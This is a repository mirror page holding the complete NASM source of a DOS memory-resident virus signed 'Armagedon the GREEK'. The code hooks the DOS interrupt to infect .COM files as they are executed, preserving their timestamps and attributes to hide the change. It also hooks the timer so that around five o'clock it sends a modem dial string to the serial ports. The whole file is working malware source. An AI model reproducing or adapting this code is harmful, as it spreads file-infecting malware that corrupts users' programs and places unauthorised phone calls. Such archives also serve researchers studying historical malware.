mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
524 lines
17 KiB
NASM
524 lines
17 KiB
NASM
|
dta equ offset last_byte+10
|
|||
|
virlen equ (offset last_byte - offset start)
|
|||
|
strlen equ (offset endstr - offset startstr)
|
|||
|
|
|||
|
code segment
|
|||
|
assume cs:code,ds:code
|
|||
|
org 100h
|
|||
|
start: jmp main
|
|||
|
|
|||
|
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
|
|||
|
pushf ; Save flags for compare
|
|||
|
cmp ah,0e0h ; Is it exist-test?
|
|||
|
jnz notest1 ; if not go on
|
|||
|
mov ax,0dadah ; else return signature,
|
|||
|
popf ; restore flag and
|
|||
|
iret ; return to program
|
|||
|
notest1: cmp ah,0e1h
|
|||
|
jnz notest2
|
|||
|
mov ax,cs
|
|||
|
popf
|
|||
|
iret
|
|||
|
notest2: cmp ax,4b00h ; is 'EXEC' command?
|
|||
|
jz infector ; if yes go to 'infection'
|
|||
|
do_oldint: popf ; restore flags
|
|||
|
jmp dword ptr cs:oldint21a; jump to normal INT 21h
|
|||
|
newint21 endp
|
|||
|
|
|||
|
oldint21a dw ? ; old INT 21h vector (low)
|
|||
|
oldint21b dw ? ; old INT 21h vector (high)
|
|||
|
oldint8a dw ? ; old INT 8 vector (low)
|
|||
|
oldint8b dw ? ; old INT 8 vector (high)
|
|||
|
status db 0 ; flag for time (call in progress)
|
|||
|
ticks db 0 ; 18.2 tick counter
|
|||
|
cur_h db 0 ; Current time (HOURS)
|
|||
|
cur_m db 0 ; Current time (MINUTES)
|
|||
|
cur_s db 0 ; Current time (SECONDS)
|
|||
|
count dw 0 ; dial counter (30 sec, 540 ticks)
|
|||
|
garbidge db 0
|
|||
|
stringpos db 0
|
|||
|
call_made db 0
|
|||
|
init_done db 0
|
|||
|
comext db 'COM' ; Valid inf. extension
|
|||
|
handle dw ? ; inf. handle number
|
|||
|
filesize dw 20
|
|||
|
prseg dw ?
|
|||
|
seg_buffer dw ?
|
|||
|
ss_reg dw ?
|
|||
|
sp_reg dw ?
|
|||
|
fileds dw ?
|
|||
|
filedx dw ?
|
|||
|
attr dw ?
|
|||
|
filedate dw ?
|
|||
|
filetime dw ?
|
|||
|
|
|||
|
env_seg dw 00h
|
|||
|
cdline_offs dw 81h
|
|||
|
cdline_seg dw ?
|
|||
|
fcb1_offs dw 5ch
|
|||
|
fcb1_seg dw ?
|
|||
|
fcb2_offs dw 6ch
|
|||
|
fcb2_seg dw ?
|
|||
|
|
|||
|
infector proc near ; PROGRAM INFECTOR
|
|||
|
assume cs:code ;
|
|||
|
push ds ; save registers to
|
|||
|
push bx ; insure normal operation
|
|||
|
push si ; by the INT 21h (ah=4b00h)
|
|||
|
push cx ;
|
|||
|
push ax ;
|
|||
|
push dx ;
|
|||
|
push bp ;
|
|||
|
push es ;
|
|||
|
push di ;
|
|||
|
|
|||
|
cld ; Reset direction to increament
|
|||
|
push dx ; Store the address of the
|
|||
|
push ds ; filespec (DS:DX)
|
|||
|
xor cx,cx ; reset counter
|
|||
|
mov si,dx ; set ptr to filespec
|
|||
|
nxtchr: mov al,ds:[si] ; take a char
|
|||
|
cmp al,0 ; is it zero?
|
|||
|
jz okay ; if yes goto okay
|
|||
|
inc cx ; else increase counter
|
|||
|
inc si ; and pointer
|
|||
|
jmp nxtchr ; take the next chr if CX>0
|
|||
|
okay:
|
|||
|
add dx,cx ; Point to end of filespec
|
|||
|
sub dx,3 ; point to .EXT
|
|||
|
mov si,offset comext ; Check if it is a
|
|||
|
mov di,dx ; .COM file
|
|||
|
cmp byte ptr ds:[di-3],'N';
|
|||
|
jnz ok_1 ; Is it a ND. ?
|
|||
|
cmp byte ptr ds:[di-2],'D'; if yes exit!
|
|||
|
jz nmatch ;
|
|||
|
ok_1: mov cx,3 ; checking counter in 3
|
|||
|
cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
|
|||
|
cmp al,ds:[di] ; and compare it with filespec
|
|||
|
jnz nmatch ; If no matching, exit
|
|||
|
inc si ; else increase 1st ptr
|
|||
|
inc di ; and second ptr
|
|||
|
loop cmp_loop ; take next compare if CX>0
|
|||
|
|
|||
|
pop ds ; restore ds and dx to point
|
|||
|
pop dx ;
|
|||
|
|
|||
|
push dx ; Store pointer
|
|||
|
push ds ;
|
|||
|
mov si,dx ; Check if filespec
|
|||
|
mov dl,0 ; contains a drive
|
|||
|
cmp byte ptr ds:[si+1],':'; letter
|
|||
|
jnz nodrive ; If no jump to nodrive spec.
|
|||
|
mov dl,ds:[si] ; else take the drive in DL
|
|||
|
and dl,0fh ; and modify for int 21h (ah=36h)
|
|||
|
nodrive: mov ah,36h ; Take free disk space of DL disk
|
|||
|
int 21h ; Do the call
|
|||
|
cmp ax,0ffffh ; Was an invalid drive specified?
|
|||
|
jz nmatch ; if yes, exit
|
|||
|
jmp bypass ; Correct jx 127 limit
|
|||
|
|
|||
|
nmatch: jmp nomatch
|
|||
|
invd: jmp invdrive
|
|||
|
closeit1: jmp closeit
|
|||
|
resdta1: jmp resdta
|
|||
|
|
|||
|
bypass: cmp bx,3 ; Are there at least 3 clust. free?
|
|||
|
jb nmatch ; If no, exit
|
|||
|
pop ds ; restore pointers
|
|||
|
pop dx ;
|
|||
|
|
|||
|
push ds ; and allocate memory
|
|||
|
push dx ; for the infection
|
|||
|
mov cs:fileds,ds
|
|||
|
mov cs:filedx,dx
|
|||
|
mov ax,4300h ; code for Get Attr
|
|||
|
int 21h
|
|||
|
mov cs:attr,cx
|
|||
|
mov ax,4301h
|
|||
|
xor cx,cx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov bx,0ffffh
|
|||
|
mov ah,48h
|
|||
|
int 21h
|
|||
|
mov ah,48h
|
|||
|
int 21h
|
|||
|
mov cs:seg_buffer,ax
|
|||
|
|
|||
|
mov ax,cs
|
|||
|
mov ds,ax
|
|||
|
mov dx,dta
|
|||
|
mov ah,1ah
|
|||
|
int 21h
|
|||
|
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
mov ax,3d02h ; DosFn OPEN FILE (R/W)
|
|||
|
clc ; Clear carry flag
|
|||
|
int 21h ; Do open
|
|||
|
jc closeit1 ; If Error exit
|
|||
|
mov bx,ax ; Handle to BX
|
|||
|
mov cs:handle,ax ; save handle
|
|||
|
mov cx,0ffffh ; Bytes to read
|
|||
|
mov ax,cs:seg_buffer ;
|
|||
|
mov ds,ax ;
|
|||
|
mov dx,virlen ; DS:DX points to buffer
|
|||
|
mov ah,3fh ; DosFn READ FROM FILE
|
|||
|
clc ; clear carry flag
|
|||
|
int 21h ; Do the call
|
|||
|
jc closeit1 ; if error exit
|
|||
|
mov cs:filesize,ax ; Num of bytes actually read
|
|||
|
;cmp ax,0e000h ; max com size to infect
|
|||
|
;ja closeit1 ; if size>max exit
|
|||
|
cmp ax,virlen ; if filesize is less than the
|
|||
|
jb virit ; virus size then it is clean
|
|||
|
mov si,virlen+1 ; Set 1st ptr to START of file
|
|||
|
add si,si ; add 1st ptr the length of file
|
|||
|
sub si,21 ; and subtract 12 to point to sig.
|
|||
|
mov cx,19 ; set the test loop to 10 bytes
|
|||
|
mov di,offset signature ; Set 2nd ptr to constant signature
|
|||
|
test_sig: mov al,ds:[si] ; take the byte pointed to by SI
|
|||
|
mov ah,cs:[di] ; and compare it with the byte
|
|||
|
cmp ah,al ; pointed to by DI
|
|||
|
jne virit ; if not equal then it is clean!
|
|||
|
inc si ; else increase 1st pointer
|
|||
|
inc di ; increase 2nd pointer
|
|||
|
loop test_sig ; continue with next if CX>0
|
|||
|
jmp closeit
|
|||
|
|
|||
|
virit: mov ax,4200h ; Code for LSEEK (Start)
|
|||
|
mov bx,cs:handle ; Handle num in BX
|
|||
|
xor cx,cx ; Reset CX
|
|||
|
mov dx,cx ; and DX
|
|||
|
int 21h ; Do the call
|
|||
|
jc closeit
|
|||
|
|
|||
|
mov si,offset start
|
|||
|
mov cx,virlen
|
|||
|
xor di,di
|
|||
|
mov ax,cs:seg_buffer
|
|||
|
mov ds,ax
|
|||
|
virusin: mov al,cs:[si]
|
|||
|
mov ds:[di],al
|
|||
|
inc si
|
|||
|
inc di
|
|||
|
loop virusin
|
|||
|
|
|||
|
mov ax,5700h
|
|||
|
mov bx,cs:handle
|
|||
|
int 21h
|
|||
|
mov cs:filetime,cx
|
|||
|
mov cs:filedate,dx
|
|||
|
|
|||
|
mov ax,cs:seg_buffer
|
|||
|
mov ds,ax
|
|||
|
|
|||
|
mov si,virlen
|
|||
|
mov al,ds:[si]
|
|||
|
add al,11
|
|||
|
mov ds:[si],al
|
|||
|
|
|||
|
xor dx,dx ; DX points to Buffer (file)
|
|||
|
mov cx,cs:filesize ; Size of file in CX
|
|||
|
add cx,virlen ; But added by Virlen
|
|||
|
mov bx,cs:handle ; File handle num in BX
|
|||
|
mov ah,40h ; Code for WRITE FILE
|
|||
|
int 21h ; Do the call
|
|||
|
|
|||
|
mov cx,cs:filetime
|
|||
|
mov dx,cs:filedate
|
|||
|
mov bx,cs:handle
|
|||
|
mov ax,5701h
|
|||
|
int 21h
|
|||
|
|
|||
|
closeit: mov bx,cs:handle ; Handle in BX
|
|||
|
mov ah,3eh ; Code for CLOSE FILE
|
|||
|
int 21h ; Do close it
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
resdta: mov dx,80h ; Reset the DTA
|
|||
|
mov ah,1ah ; in Address 80H
|
|||
|
int 21h ; Do call
|
|||
|
mov ax,cs:seg_buffer
|
|||
|
mov es,ax
|
|||
|
mov ah,49h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax,cs:fileds ;
|
|||
|
mov ds,ax ;
|
|||
|
mov dx,cs:filedx ;
|
|||
|
mov ax,4301h ;
|
|||
|
mov cx,cs:attr ;
|
|||
|
int 21h ;
|
|||
|
jmp invdrive ; and exit
|
|||
|
nomatch:
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
jmp notinfect
|
|||
|
|
|||
|
invdrive:
|
|||
|
notinfect:
|
|||
|
pop di ; restore registers
|
|||
|
pop es ; to their initial
|
|||
|
pop bp ; values
|
|||
|
pop dx ;
|
|||
|
pop ax ;
|
|||
|
pop cx ;
|
|||
|
pop si ;
|
|||
|
pop bx ;
|
|||
|
pop ds ;
|
|||
|
jmp do_oldint ; return from call
|
|||
|
infector endp
|
|||
|
|
|||
|
newint8 proc far ; VIRUS' TIMER ISR
|
|||
|
push bp ;
|
|||
|
push ds ; store all registers
|
|||
|
push es ; and flags before
|
|||
|
push ax ; the new timer
|
|||
|
push bx ; operations.
|
|||
|
push cx ; Otherwize a 'crush'
|
|||
|
push dx ; is unavoidable
|
|||
|
push si ;
|
|||
|
push di ;
|
|||
|
pushf ; Simulate an INT
|
|||
|
call dword ptr cs:oldint8a ; Do old timer stuff
|
|||
|
call tick ; update virus clock routine
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,5 ; Check if time
|
|||
|
mov ch,cur_h ; is now above the
|
|||
|
cmp ah,ch ; lower limit (5 o'clock)
|
|||
|
ja exitpoint ; if not, exit
|
|||
|
mov ah,6 ; Check if time
|
|||
|
cmp ah,ch ; is now below the higher limit
|
|||
|
jb exitpoint ; if not, exit
|
|||
|
mov ah,status ; get the virus status
|
|||
|
cmp ah,1 ; test if call in progress
|
|||
|
jz in_progress ; if yes goto countdown routine
|
|||
|
mov ah,1 ; if not, set the status to
|
|||
|
mov status,ah ; indicate 'In progress'
|
|||
|
jmp exitpoint ; and exit
|
|||
|
in_progress: ; CALL IS IN PROGRESS!
|
|||
|
call dial ; else call dial routine
|
|||
|
inc count ; CALL_TIMER
|
|||
|
mov ax,count
|
|||
|
cmp ax,540 ; check for time-out
|
|||
|
jne exitpoint ; if not, exit else
|
|||
|
xor ax,ax ; set status to indicate
|
|||
|
mov status,ah ; 'ready to call'!
|
|||
|
mov count,ax ; reset call_timer
|
|||
|
mov call_made,ah
|
|||
|
exitpoint:
|
|||
|
pop di ; restore registers to
|
|||
|
pop si ; their values and
|
|||
|
pop dx ;
|
|||
|
pop cx ;
|
|||
|
pop bx ;
|
|||
|
pop ax ;
|
|||
|
pop es ;
|
|||
|
pop ds ;
|
|||
|
pop bp ;
|
|||
|
iret ; return to program
|
|||
|
newint8 endp
|
|||
|
|
|||
|
tick proc near ; VIRUS' CLOCK ROUTINE
|
|||
|
assume cs:code,ds:code
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
xor al,al
|
|||
|
mov ah,ticks ; test if ticks have
|
|||
|
cmp ah,17 ; reached limit (17)
|
|||
|
jnz incticks ; if no, incerase ticks
|
|||
|
mov ah,cur_s ; test if seconds have
|
|||
|
cmp ah,59 ; reached limit (59)
|
|||
|
jnz incsec ; if no, increase seconds
|
|||
|
mov ah,cur_m ; test if minutes have
|
|||
|
cmp ah,59 ; reached limit (59)
|
|||
|
jnz incmin ; if no, increase minutes
|
|||
|
mov ah,cur_h ; test if hours have
|
|||
|
cmp ah,23 ; reached limit (23)
|
|||
|
jnz inchour ; if no, increase hours
|
|||
|
mov cur_h,al ; else reset hours
|
|||
|
exitp3: mov cur_m,al ; reset minutes
|
|||
|
exitp2: mov cur_s,al ; reset seconds
|
|||
|
exitp1: mov ticks,al ; reset ticks
|
|||
|
ret ; end exit
|
|||
|
incticks: inc ticks ; increase ticks
|
|||
|
ret ; and exit
|
|||
|
incsec: inc cur_s ; increase seconds
|
|||
|
jmp exitp1 ; and exit
|
|||
|
incmin: inc cur_m ; increase minutes
|
|||
|
jmp exitp2 ; and exit
|
|||
|
inchour: inc cur_h ; increase hours
|
|||
|
jmp exitp3 ; end exit
|
|||
|
tick endp
|
|||
|
|
|||
|
startstr:
|
|||
|
string db '+++aTh0m0s7=35dp081,,,,141'
|
|||
|
endstr:
|
|||
|
|
|||
|
dial proc near
|
|||
|
assume cs:code,ds:code
|
|||
|
|
|||
|
mov al,call_made
|
|||
|
cmp al,1
|
|||
|
jz exit_dial
|
|||
|
mov al,init_done
|
|||
|
cmp al,1
|
|||
|
jz send_one
|
|||
|
|
|||
|
mov cx,3
|
|||
|
next_init: mov dx,cx
|
|||
|
xor ah,ah
|
|||
|
mov al,131
|
|||
|
int 14h
|
|||
|
loop next_init
|
|||
|
mov al,1
|
|||
|
mov init_done,al
|
|||
|
jmp exit_dial
|
|||
|
|
|||
|
send_one: push cs
|
|||
|
pop ds
|
|||
|
mov si,offset string
|
|||
|
mov al,stringpos
|
|||
|
cmp al,strlen
|
|||
|
jnz do_send
|
|||
|
jmp sendret
|
|||
|
|
|||
|
do_send: xor ah,ah
|
|||
|
add si,ax
|
|||
|
next_char: mov al,[si]
|
|||
|
mov dx,3f8h
|
|||
|
out dx,al
|
|||
|
mov dx,2f8h
|
|||
|
out dx,al
|
|||
|
mov dx,2e8h
|
|||
|
out dx,al
|
|||
|
mov dx,3e8h
|
|||
|
out dx,al
|
|||
|
inc stringpos
|
|||
|
jmp exit_dial
|
|||
|
|
|||
|
sendret: mov cx,3
|
|||
|
retloop: mov dx,cx
|
|||
|
mov al,13
|
|||
|
mov ah,1
|
|||
|
int 14h
|
|||
|
loop retloop
|
|||
|
|
|||
|
reset: mov ax,0001h
|
|||
|
mov call_made,al
|
|||
|
mov stringpos,ah
|
|||
|
mov init_done,ah
|
|||
|
exit_dial: ret
|
|||
|
dial endp
|
|||
|
|
|||
|
main: ; VIRUS' MEMORY INSTALLER
|
|||
|
assume cs:code,ds:code ;
|
|||
|
mov ah,0e0h ; is VIRUS already
|
|||
|
int 21h ; in memory?
|
|||
|
cmp ax,0dadah ; if yes then
|
|||
|
jnz cont ; terminate, else
|
|||
|
jmp already_in
|
|||
|
cont: push cs
|
|||
|
pop ds
|
|||
|
mov ax,3521h ; capture the old
|
|||
|
int 21h ; INT 21h vector and
|
|||
|
mov oldint21a,bx ; store the absolute address
|
|||
|
mov oldint21b,es ; in 'oldint21x' variables
|
|||
|
mov dx,offset newint21 ; point to new INT 21h ISR
|
|||
|
mov ax,2521h ; replace it to vector
|
|||
|
int 21h ;
|
|||
|
mov ax,3508h ; capture the old
|
|||
|
int 21h ; timer vector and
|
|||
|
mov oldint8a,bx ; store the address
|
|||
|
mov oldint8b,es ; in 'oldint8x' var
|
|||
|
mov dx,offset newint8 ; point to new timer ISR
|
|||
|
mov ax,2508h ; replace it to vector
|
|||
|
int 21h ;
|
|||
|
mov ah,2ch ; get the current
|
|||
|
int 21h ; time from DOS
|
|||
|
mov cur_h,ch ; and store it
|
|||
|
mov cur_m,cl ; for the
|
|||
|
mov cur_s,dh ; virus' timer
|
|||
|
; RUN PROGRAM!
|
|||
|
mov ax,cs:[2ch]
|
|||
|
mov ds,ax
|
|||
|
xor si,si
|
|||
|
loop1: mov al,ds:[si]
|
|||
|
cmp al,1
|
|||
|
jz exitl1
|
|||
|
inc si
|
|||
|
jmp loop1
|
|||
|
exitl1: inc si
|
|||
|
inc si
|
|||
|
mov dx,si
|
|||
|
|
|||
|
mov ax,cs
|
|||
|
mov es,ax ; SHRINK BLOCK
|
|||
|
mov bx,90
|
|||
|
mov ah,4ah
|
|||
|
int 21h
|
|||
|
|
|||
|
mov bx,cs:[81h]
|
|||
|
mov ax,cs
|
|||
|
mov es,ax
|
|||
|
mov cs:fcb1_seg,ax
|
|||
|
mov cs:fcb2_seg,ax
|
|||
|
mov cs:cdline_seg,ax
|
|||
|
mov ax,4b00h
|
|||
|
;
|
|||
|
;
|
|||
|
;
|
|||
|
mov cs:ss_reg,ss
|
|||
|
mov cs:sp_reg,sp
|
|||
|
pushf
|
|||
|
call dword ptr cs:oldint21a
|
|||
|
mov ax,cs:ss_reg
|
|||
|
mov ss,ax
|
|||
|
mov ax,cs:sp_reg
|
|||
|
mov sp,ax
|
|||
|
mov ax,cs
|
|||
|
mov ds,ax
|
|||
|
mov dx,offset last_byte
|
|||
|
int 27h
|
|||
|
|
|||
|
already_in: mov ah,0e1h
|
|||
|
int 21h
|
|||
|
mov si,offset pokelabl
|
|||
|
mov cs:[si+3],ax
|
|||
|
mov ax,offset fix_com
|
|||
|
mov cs:[si+1],ax
|
|||
|
mov ax,cs:filesize
|
|||
|
mov bx,cs
|
|||
|
pokelabl: db 0eah,00h,00h,00h,00h
|
|||
|
|
|||
|
fix_com: mov cx,ax
|
|||
|
mov ds,bx
|
|||
|
mov si,100h
|
|||
|
mov di,100h+virlen
|
|||
|
dofix: mov al,ds:[di]
|
|||
|
mov ds:[si],al
|
|||
|
inc si
|
|||
|
inc di
|
|||
|
loop dofix
|
|||
|
mov si,offset poklb
|
|||
|
mov cs:[si+3],ds
|
|||
|
mov al,ds:[100h]
|
|||
|
sub al,11
|
|||
|
mov ds:[100h],al
|
|||
|
mov ax,ds
|
|||
|
mov es,ax
|
|||
|
mov ss,ax
|
|||
|
poklb: db 0eah,00h,01h,00h,00h
|
|||
|
|
|||
|
signature: db 'Armagedon the GREEK'
|
|||
|
last_byte: db 90h+11
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
mov ah,4ch
|
|||
|
int 21h
|
|||
|
code ends
|
|||
|
end start
|
|||
|
|